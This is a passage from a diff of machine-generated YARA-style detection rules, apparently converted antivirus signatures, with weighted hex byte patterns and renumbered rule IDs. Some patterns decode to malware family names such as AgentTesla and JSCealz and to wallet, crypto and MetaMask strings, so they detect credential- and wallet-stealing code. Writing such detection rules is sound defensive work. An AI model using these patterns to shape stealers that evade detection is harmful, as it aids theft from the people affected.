50 00 72 00 69 00 } //20259 - $a_01_1 = {00 20 00 55 00 74 00 69 00 6c 00 69 00 74 00 79 00 0a 00 12 50 00 72 00 69 00 6e 00 74 00 2e 00 45 00 78 00 65 00 00 00 61 7c 00 00 01 00 01 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 42 53 53 21 4d 54 42 00 01 00 4c 06 17 58 0a 06 20 00 01 00 00 5d 0a 08 11 06 06 94 58 0c 08 20 00 01 00 00 5d } //110 - $a_01_2 = {06 94 13 04 11 06 } //4364 - $a_01_3 = {08 94 9e 11 06 08 } //4358 + $a_01_1 = {00 20 00 55 00 74 00 69 00 6c 00 69 00 74 00 79 00 0a 00 12 50 00 72 00 69 00 6e 00 74 00 2e 00 45 00 78 00 65 00 00 00 61 7b 00 00 68 00 68 00 06 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4a 53 43 65 61 6c 7a 2e 44 21 4d 54 42 00 64 00 04 4a 53 43 00 01 00 0c 77 00 61 00 6c 00 6c 00 65 00 74 00 01 00 0c 63 00 72 00 79 00 70 00 } //110 + $a_01_2 = {00 01 00 10 6d 00 65 00 74 00 61 00 6d 00 61 00 73 00 6b 00 01 00 08 70 00 6f 00 73 00 74 00 01 00 0c 75 00 70 00 6c 00 6f 00 61 00 64 00 00 00 61 7c 00 00 01 00 01 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 42 53 53 21 4d 54 42 00 01 00 4c 06 17 58 0a 06 20 00 01 00 00 5d 0a 08 } //116 + $a_01_3 = {94 58 0c 08 20 00 } //1553 condition: - ((#a_01_0 & 1)*20259+(#a_01_1 & 1)*110+(#a_01_2 & 1)*4364+(#a_01_3 & 1)*4358) >=30 + ((#a_01_0 & 1)*20259+(#a_01_1 & 1)*110+(#a_01_2 & 1)*116+(#a_01_3 & 1)*1553) >=30 } -rule _InfrastructureShared_27374{ +rule _InfrastructureShared_29107{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,68 00 68 00 06 00 21 " + + strings : + $a_01_0 = {4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4a 53 43 65 61 6c 7a 2e 44 21 4d 54 42 00 64 00 04 4a 53 43 00 01 00 0c 77 00 61 00 6c 00 6c 00 65 00 74 00 01 00 0c 63 00 72 00 79 00 70 00 74 00 6f 00 01 00 10 } //21539 + $a_01_1 = {00 74 00 61 00 6d 00 61 00 73 00 6b 00 01 00 08 70 00 6f 00 73 00 74 00 01 00 0c 75 00 70 00 6c 00 6f 00 61 00 64 00 00 00 61 7c 00 00 01 00 01 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 42 53 53 21 4d 54 42 00 01 00 4c 06 17 58 0a 06 20 00 01 00 00 } //109 + $a_01_2 = {11 06 06 94 58 0c 08 20 } //2653 + $a_01_4 = {11 06 06 94 13 04 11 06 06 11 06 08 } //23808 + $a_01_5 = {06 08 11 04 9e 11 06 11 06 06 94 11 06 08 94 58 20 } //-24940 + condition: + ((#a_01_0 & 1)*21539+(#a_01_1 & 1)*109+(#a_01_2 & 1)*2653+(#a_01_4 & 1)*23808+(#a_01_5 & 1)*-24940) >=104 + +} +rule _InfrastructureShared_29108{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -357013,7 +379639,7 @@ rule _InfrastructureShared_27374{ ((#a_01_0 & 1)*16675) >=1 } -rule _InfrastructureShared_27375{ +rule _InfrastructureShared_29109{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -357023,7 +379649,7 @@ rule _InfrastructureShared_27375{ ((#a_01_0 & 1)*18467) >=1 } -rule _InfrastructureShared_27376{ +rule _InfrastructureShared_29110{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 02 00 21 " @@ -357034,7 +379660,7 @@ rule _InfrastructureShared_27376{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*8704) >=1 } -rule _InfrastructureShared_27377{ +rule _InfrastructureShared_29111{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 03 00 21 " @@ -357046,7 +379672,7 @@ rule _InfrastructureShared_27377{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*21324+(#a_01_2 & 1)*9292) >=1 } -rule _InfrastructureShared_27378{ +rule _InfrastructureShared_29112{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,02 00 02 00 01 00 21 " @@ -357056,7 +379682,7 @@ rule _InfrastructureShared_27378{ ((#a_01_0 & 1)*16675) >=2 } -rule _InfrastructureShared_27379{ +rule _InfrastructureShared_29113{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 05 00 21 " @@ -357069,7 +379695,7 @@ rule _InfrastructureShared_27379{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*14860+(#a_01_2 & 1)*24898+(#a_01_3 & 1)*30052) >=3 } -rule _InfrastructureShared_27380{ +rule _InfrastructureShared_29114{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,04 00 04 00 06 00 21 " @@ -357083,7 +379709,7 @@ rule _InfrastructureShared_27380{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*1792+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1) >=4 } -rule _InfrastructureShared_27381{ +rule _InfrastructureShared_29115{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,05 00 05 00 05 00 21 " @@ -357096,7 +379722,7 @@ rule _InfrastructureShared_27381{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*28515+(#a_01_3 & 1)*21512+(#a_01_4 & 1)*29800) >=5 } -rule _InfrastructureShared_27382{ +rule _InfrastructureShared_29116{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,06 00 06 00 06 00 21 " @@ -357111,7 +379737,7 @@ rule _InfrastructureShared_27382{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*29779+(#a_01_2 & 1)*3328+(#a_01_3 & 1)*28265+(#a_01_4 & 1)*-5695+(#a_01_5 & 1)*-2235) >=6 } -rule _InfrastructureShared_27383{ +rule _InfrastructureShared_29117{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,0b 00 0b 00 04 00 21 " @@ -357124,7 +379750,7 @@ rule _InfrastructureShared_27383{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*28206+(#a_01_2 & 1)*29545+(#a_01_3 & 1)*6377) >=11 } -rule _InfrastructureShared_27384{ +rule _InfrastructureShared_29118{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,28 00 28 00 05 00 21 " @@ -357138,7 +379764,7 @@ rule _InfrastructureShared_27384{ ((#a_01_0 & 1)*16931+(#a_01_1 & 1)*26950+(#a_01_2 & 1)*-18929+(#a_01_3 & 1)*28531+(#a_01_4 & 1)*0) >=40 } -rule _InfrastructureShared_27385{ +rule _InfrastructureShared_29119{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -357148,7 +379774,7 @@ rule _InfrastructureShared_27385{ ((#a_01_0 & 1)*16675) >=1 } -rule _InfrastructureShared_27386{ +rule _InfrastructureShared_29120{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,02 00 02 00 02 00 21 " @@ -357159,7 +379785,7 @@ rule _InfrastructureShared_27386{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*1) >=2 } -rule _InfrastructureShared_27387{ +rule _InfrastructureShared_29121{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 03 00 21 " @@ -357171,7 +379797,7 @@ rule _InfrastructureShared_27387{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*19787+(#a_01_2 & 1)*25665) >=3 } -rule _InfrastructureShared_27388{ +rule _InfrastructureShared_29122{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 03 00 21 " @@ -357182,7 +379808,7 @@ rule _InfrastructureShared_27388{ ((#a_01_0 & 1)*16675+(#a_01_2 & 1)*105) >=3 } -rule _InfrastructureShared_27389{ +rule _InfrastructureShared_29123{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 03 00 21 " @@ -357193,7 +379819,7 @@ rule _InfrastructureShared_27389{ ((#a_01_0 & 1)*20515+(#a_01_1 & 1)*115) >=3 } -rule _InfrastructureShared_27390{ +rule _InfrastructureShared_29124{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,04 00 04 00 04 00 21 " @@ -357205,7 +379831,7 @@ rule _InfrastructureShared_27390{ ((#a_01_0 & 1)*16675+(#a_01_2 & 1)*28434+(#a_01_3 & 1)*25960) >=4 } -rule _InfrastructureShared_27391{ +rule _InfrastructureShared_29125{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,04 00 04 00 04 00 21 " @@ -357217,7 +379843,7 @@ rule _InfrastructureShared_27391{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*25359+(#a_01_3 & 1)*25619) >=4 } -rule _InfrastructureShared_27392{ +rule _InfrastructureShared_29126{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,04 00 04 00 05 00 21 " @@ -357230,7 +379856,7 @@ rule _InfrastructureShared_27392{ ((#a_01_0 & 1)*20515+(#a_01_1 & 1)*28261+(#a_01_3 & 1)*19468+(#a_01_4 & 1)*29541) >=4 } -rule _InfrastructureShared_27393{ +rule _InfrastructureShared_29127{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,06 00 06 00 06 00 21 " @@ -357244,7 +379870,7 @@ rule _InfrastructureShared_27393{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*26956+(#a_01_2 & 1)*19567+(#a_01_3 & 1)*25970+(#a_01_4 & 1)*14930) >=6 } -rule _InfrastructureShared_27394{ +rule _InfrastructureShared_29128{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,06 00 06 00 06 00 21 " @@ -357259,7 +379885,7 @@ rule _InfrastructureShared_27394{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*28530+(#a_01_2 & 1)*26478+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1) >=6 } -rule _InfrastructureShared_27395{ +rule _InfrastructureShared_29129{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,0a 00 0a 00 02 00 21 " @@ -357269,7 +379895,7 @@ rule _InfrastructureShared_27395{ ((#a_01_0 & 1)*16675) >=10 } -rule _InfrastructureShared_27396{ +rule _InfrastructureShared_29130{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,11 00 11 00 08 00 21 " @@ -357285,7 +379911,7 @@ rule _InfrastructureShared_27396{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*10+(#a_01_4 & 1)*0+(#a_01_6 & 1)*14413+(#a_01_7 & 1)*16687) >=17 } -rule _InfrastructureShared_27397{ +rule _InfrastructureShared_29131{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,11 00 11 00 08 00 21 " @@ -357301,7 +379927,7 @@ rule _InfrastructureShared_27397{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*10+(#a_01_4 & 1)*0+(#a_01_6 & 1)*14413+(#a_01_7 & 1)*71) >=17 } -rule _InfrastructureShared_27398{ +rule _InfrastructureShared_29132{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,11 00 11 00 08 00 21 " @@ -357318,7 +379944,7 @@ rule _InfrastructureShared_27398{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*10+(#a_01_4 & 1)*0+(#a_01_5 & 1)*25924+(#a_01_6 & 1)*55+(#a_01_7 & 1)*21076) >=17 } -rule _InfrastructureShared_27399{ +rule _InfrastructureShared_29133{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,32 00 32 00 05 00 21 " @@ -357332,7 +379958,7 @@ rule _InfrastructureShared_27399{ ((#a_01_0 & 1)*20259+(#a_01_1 & 1)*25188+(#a_01_2 & 1)*17515+(#a_01_3 & 1)*53+(#a_01_4 & 1)*21587) >=50 } -rule _InfrastructureShared_27400{ +rule _InfrastructureShared_29134{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -357342,7 +379968,7 @@ rule _InfrastructureShared_27400{ ((#a_01_0 & 1)*18467) >=1 } -rule _InfrastructureShared_27401{ +rule _InfrastructureShared_29135{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 03 00 21 " @@ -357354,7 +379980,7 @@ rule _InfrastructureShared_27401{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*20578+(#a_01_2 & 1)*-1) >=1 } -rule _InfrastructureShared_27402{ +rule _InfrastructureShared_29136{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 03 00 21 " @@ -357366,7 +379992,7 @@ rule _InfrastructureShared_27402{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*-29701+(#a_01_2 & 1)*45) >=1 } -rule _InfrastructureShared_27403{ +rule _InfrastructureShared_29137{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 04 00 21 " @@ -357378,7 +380004,7 @@ rule _InfrastructureShared_27403{ ((#a_01_0 & 1)*16931+(#a_01_1 & 1)*25449+(#a_01_3 & 1)*69) >=1 } -rule _InfrastructureShared_27404{ +rule _InfrastructureShared_29138{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,02 00 02 00 02 00 21 " @@ -357388,7 +380014,7 @@ rule _InfrastructureShared_27404{ ((#a_01_0 & 1)*21027) >=2 } -rule _InfrastructureShared_27405{ +rule _InfrastructureShared_29139{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,02 00 02 00 02 00 21 " @@ -357399,7 +380025,7 @@ rule _InfrastructureShared_27405{ ((#a_01_0 & 1)*21539+(#a_01_1 & 1)*190) >=2 } -rule _InfrastructureShared_27406{ +rule _InfrastructureShared_29140{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,02 00 02 00 03 00 21 " @@ -357411,7 +380037,7 @@ rule _InfrastructureShared_27406{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*25972+(#a_01_2 & 1)*16942) >=2 } -rule _InfrastructureShared_27407{ +rule _InfrastructureShared_29141{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 03 00 21 " @@ -357423,7 +380049,7 @@ rule _InfrastructureShared_27407{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*30565+(#a_01_2 & 1)*0) >=3 } -rule _InfrastructureShared_27408{ +rule _InfrastructureShared_29142{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,04 00 04 00 04 00 21 " @@ -357436,7 +380062,7 @@ rule _InfrastructureShared_27408{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*16707+(#a_01_2 & 1)*17967+(#a_01_3 & 1)*6) >=4 } -rule _InfrastructureShared_27409{ +rule _InfrastructureShared_29143{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,05 00 05 00 03 00 21 " @@ -357448,7 +380074,7 @@ rule _InfrastructureShared_27409{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*25449+(#a_01_2 & 1)*28002) >=5 } -rule _InfrastructureShared_27410{ +rule _InfrastructureShared_29144{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,06 00 06 00 07 00 21 " @@ -357463,7 +380089,7 @@ rule _InfrastructureShared_27410{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*30062+(#a_01_2 & 1)*2048+(#a_01_3 & 1)*19525+(#a_01_4 & 1)*25968+(#a_01_5 & 1)*26995) >=6 } -rule _InfrastructureShared_27411{ +rule _InfrastructureShared_29145{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,0f 00 0f 00 06 00 21 " @@ -357477,7 +380103,7 @@ rule _InfrastructureShared_27411{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*21004+(#a_01_2 & 1)*25971+(#a_01_3 & 1)*28525+(#a_01_5 & 1)*8993) >=15 } -rule _InfrastructureShared_27412{ +rule _InfrastructureShared_29146{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 02 00 21 " @@ -357488,7 +380114,7 @@ rule _InfrastructureShared_27412{ ((#a_01_0 & 1)*21539+(#a_01_1 & 1)*25974) >=1 } -rule _InfrastructureShared_27413{ +rule _InfrastructureShared_29147{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,02 00 02 00 05 00 21 " @@ -357502,7 +380128,7 @@ rule _InfrastructureShared_27413{ ((#a_01_0 & 1)*20515+(#a_01_1 & 1)*27999+(#a_01_2 & 1)*30575+(#a_01_3 & 1)*28528+(#a_01_4 & 1)*14649) >=2 } -rule _InfrastructureShared_27414{ +rule _InfrastructureShared_29148{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 03 00 21 " @@ -357514,7 +380140,7 @@ rule _InfrastructureShared_27414{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*25614+(#a_01_2 & 1)*28483) >=3 } -rule _InfrastructureShared_27415{ +rule _InfrastructureShared_29149{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 03 00 21 " @@ -357525,7 +380151,7 @@ rule _InfrastructureShared_27415{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*26727) >=3 } -rule _InfrastructureShared_27416{ +rule _InfrastructureShared_29150{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 03 00 21 " @@ -357537,7 +380163,7 @@ rule _InfrastructureShared_27416{ ((#a_01_0 & 1)*19491+(#a_01_1 & 1)*115+(#a_01_2 & 1)*12047) >=3 } -rule _InfrastructureShared_27417{ +rule _InfrastructureShared_29151{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 03 00 21 " @@ -357549,7 +380175,7 @@ rule _InfrastructureShared_27417{ ((#a_01_0 & 1)*20515+(#a_01_1 & 1)*29295+(#a_01_2 & 1)*101) >=3 } -rule _InfrastructureShared_27418{ +rule _InfrastructureShared_29152{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 03 00 21 " @@ -357561,7 +380187,7 @@ rule _InfrastructureShared_27418{ ((#a_01_0 & 1)*21539+(#a_01_1 & 1)*101+(#a_01_2 & 1)*26689) >=3 } -rule _InfrastructureShared_27419{ +rule _InfrastructureShared_29153{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,04 00 04 00 05 00 21 " @@ -357575,7 +380201,7 @@ rule _InfrastructureShared_27419{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*25973+(#a_01_2 & 1)*11886+(#a_01_3 & 1)*6656+(#a_01_4 & 1)*19572) >=4 } -rule _InfrastructureShared_27420{ +rule _InfrastructureShared_29154{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,05 00 05 00 05 00 21 " @@ -357588,7 +380214,7 @@ rule _InfrastructureShared_27420{ ((#a_01_0 & 1)*16675+(#a_01_2 & 1)*27920+(#a_01_3 & 1)*14960+(#a_01_4 & 1)*31091) >=5 } -rule _InfrastructureShared_27421{ +rule _InfrastructureShared_29155{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,07 00 07 00 04 00 21 " @@ -357601,7 +380227,7 @@ rule _InfrastructureShared_27421{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*25956+(#a_01_2 & 1)*28492+(#a_01_3 & 1)*28261) >=7 } -rule _InfrastructureShared_27422{ +rule _InfrastructureShared_29156{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,07 00 07 00 05 00 21 " @@ -357615,7 +380241,7 @@ rule _InfrastructureShared_27422{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*28528+(#a_01_2 & 1)*-29182+(#a_01_3 & 1)*22764+(#a_01_4 & 1)*14918) >=7 } -rule _InfrastructureShared_27423{ +rule _InfrastructureShared_29157{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,0a 00 0a 00 01 00 21 " @@ -357625,7 +380251,7 @@ rule _InfrastructureShared_27423{ ((#a_01_0 & 1)*18467) >=10 } -rule _InfrastructureShared_27424{ +rule _InfrastructureShared_29158{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -357635,7 +380261,7 @@ rule _InfrastructureShared_27424{ ((#a_01_0 & 1)*18467) >=1 } -rule _InfrastructureShared_27425{ +rule _InfrastructureShared_29159{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,02 00 02 00 02 00 21 " @@ -357646,7 +380272,7 @@ rule _InfrastructureShared_27425{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*109) >=2 } -rule _InfrastructureShared_27426{ +rule _InfrastructureShared_29160{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,02 00 02 00 04 00 21 " @@ -357659,7 +380285,7 @@ rule _InfrastructureShared_27426{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*29810+(#a_01_2 & 1)*27002+(#a_01_3 & 1)*30815) >=2 } -rule _InfrastructureShared_27427{ +rule _InfrastructureShared_29161{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 03 00 21 " @@ -357670,7 +380296,7 @@ rule _InfrastructureShared_27427{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*13615) >=3 } -rule _InfrastructureShared_27428{ +rule _InfrastructureShared_29162{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 03 00 21 " @@ -357682,7 +380308,7 @@ rule _InfrastructureShared_27428{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*25970+(#a_01_2 & 1)*14385) >=3 } -rule _InfrastructureShared_27429{ +rule _InfrastructureShared_29163{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,04 00 04 00 04 00 21 " @@ -357694,7 +380320,7 @@ rule _InfrastructureShared_27429{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*30789+(#a_01_3 & 1)*19474) >=4 } -rule _InfrastructureShared_27430{ +rule _InfrastructureShared_29164{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,04 00 04 00 04 00 21 " @@ -357707,7 +380333,7 @@ rule _InfrastructureShared_27430{ ((#a_01_0 & 1)*21539+(#a_01_1 & 1)*29808+(#a_01_2 & 1)*29556+(#a_01_3 & 1)*28530) >=4 } -rule _InfrastructureShared_27431{ +rule _InfrastructureShared_29165{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,05 00 05 00 05 00 21 " @@ -357721,7 +380347,7 @@ rule _InfrastructureShared_27431{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*29281+(#a_01_2 & 1)*25390+(#a_01_3 & 1)*23662+(#a_01_4 & 1)*21320) >=5 } -rule _InfrastructureShared_27432{ +rule _InfrastructureShared_29166{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,05 00 05 00 05 00 21 " @@ -357735,7 +380361,7 @@ rule _InfrastructureShared_27432{ ((#a_01_0 & 1)*21539+(#a_01_1 & 1)*20240+(#a_01_2 & 1)*8296+(#a_01_3 & 1)*54+(#a_01_4 & 1)*53) >=5 } -rule _InfrastructureShared_27433{ +rule _InfrastructureShared_29167{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,05 00 05 00 06 00 21 " @@ -357749,7 +380375,7 @@ rule _InfrastructureShared_27433{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*28776+(#a_01_2 & 1)*27759+(#a_01_4 & 1)*8993+(#a_01_5 & 1)*25964) >=5 } -rule _InfrastructureShared_27434{ +rule _InfrastructureShared_29168{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,05 00 05 00 07 00 21 " @@ -357765,7 +380391,7 @@ rule _InfrastructureShared_27434{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*72+(#a_01_2 & 1)*29797+(#a_01_3 & 1)*25449+(#a_01_4 & 1)*13636+(#a_01_5 & 1)*24933+(#a_01_6 & 1)*24931) >=5 } -rule _InfrastructureShared_27435{ +rule _InfrastructureShared_29169{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,06 00 06 00 06 00 21 " @@ -357779,7 +380405,7 @@ rule _InfrastructureShared_27435{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*29281+(#a_01_2 & 1)*30821+(#a_01_3 & 1)*3840+(#a_01_4 & 1)*-32768) >=6 } -rule _InfrastructureShared_27436{ +rule _InfrastructureShared_29170{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,0a 00 0a 00 06 00 21 " @@ -357792,7 +380418,7 @@ rule _InfrastructureShared_27436{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*18789+(#a_01_2 & 1)*27760+(#a_01_5 & 1)*32512) >=10 } -rule _InfrastructureShared_27437{ +rule _InfrastructureShared_29171{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,0c 00 0c 00 06 00 21 " @@ -357804,7 +380430,7 @@ rule _InfrastructureShared_27437{ ((#a_01_0 & 1)*18467+(#a_01_2 & 1)*26377+(#a_01_3 & 1)*-7680) >=12 } -rule _InfrastructureShared_27438{ +rule _InfrastructureShared_29172{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -357814,7 +380440,7 @@ rule _InfrastructureShared_27438{ ((#a_01_0 & 1)*16675) >=1 } -rule _InfrastructureShared_27439{ +rule _InfrastructureShared_29173{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -357824,7 +380450,7 @@ rule _InfrastructureShared_27439{ ((#a_01_0 & 1)*18467) >=1 } -rule _InfrastructureShared_27440{ +rule _InfrastructureShared_29174{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -357834,7 +380460,7 @@ rule _InfrastructureShared_27440{ ((#a_01_0 & 1)*18467) >=1 } -rule _InfrastructureShared_27441{ +rule _InfrastructureShared_29175{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,04 00 04 00 04 00 21 " @@ -357847,7 +380473,7 @@ rule _InfrastructureShared_27441{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*0) >=4 } -rule _InfrastructureShared_27442{ +rule _InfrastructureShared_29176{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,04 00 04 00 04 00 21 " @@ -357860,7 +380486,7 @@ rule _InfrastructureShared_27442{ ((#a_01_0 & 1)*21539+(#a_01_1 & 1)*24940+(#a_01_2 & 1)*27759+(#a_01_3 & 1)*-512) >=4 } -rule _InfrastructureShared_27443{ +rule _InfrastructureShared_29177{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,0e 00 0e 00 06 00 21 " @@ -357872,7 +380498,7 @@ rule _InfrastructureShared_27443{ ((#a_01_0 & 1)*18467+(#a_01_2 & 1)*18707+(#a_01_4 & 1)*18184) >=14 } -rule _InfrastructureShared_27444{ +rule _InfrastructureShared_29178{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,0e 00 0e 00 06 00 21 " @@ -357886,7 +380512,7 @@ rule _InfrastructureShared_27444{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*26946+(#a_01_2 & 1)*109+(#a_01_4 & 1)*101+(#a_01_5 & 1)*29541) >=14 } -rule _InfrastructureShared_27445{ +rule _InfrastructureShared_29179{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,14 00 14 00 04 00 21 " @@ -357899,7 +380525,7 @@ rule _InfrastructureShared_27445{ ((#a_01_0 & 1)*16931+(#a_01_1 & 1)*29188+(#a_01_2 & 1)*108+(#a_01_3 & 1)*28516) >=20 } -rule _InfrastructureShared_27446{ +rule _InfrastructureShared_29180{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,1e 00 1e 00 04 00 21 " @@ -357907,12 +380533,12 @@ rule _InfrastructureShared_27446{ $a_01_0 = {4e 3a 74 61 73 6b 6b 69 6c 6c 2e 65 78 65 00 0a 00 18 74 00 61 00 73 00 6b 00 6b 00 69 00 6c 00 6c 00 2e 00 65 00 78 00 65 00 0a 00 14 54 65 72 6d 69 6e 61 74 65 73 20 50 72 6f 63 65 73 73 65 73 0a 00 22 4d 69 } //20259 $a_01_1 = {73 6f 66 74 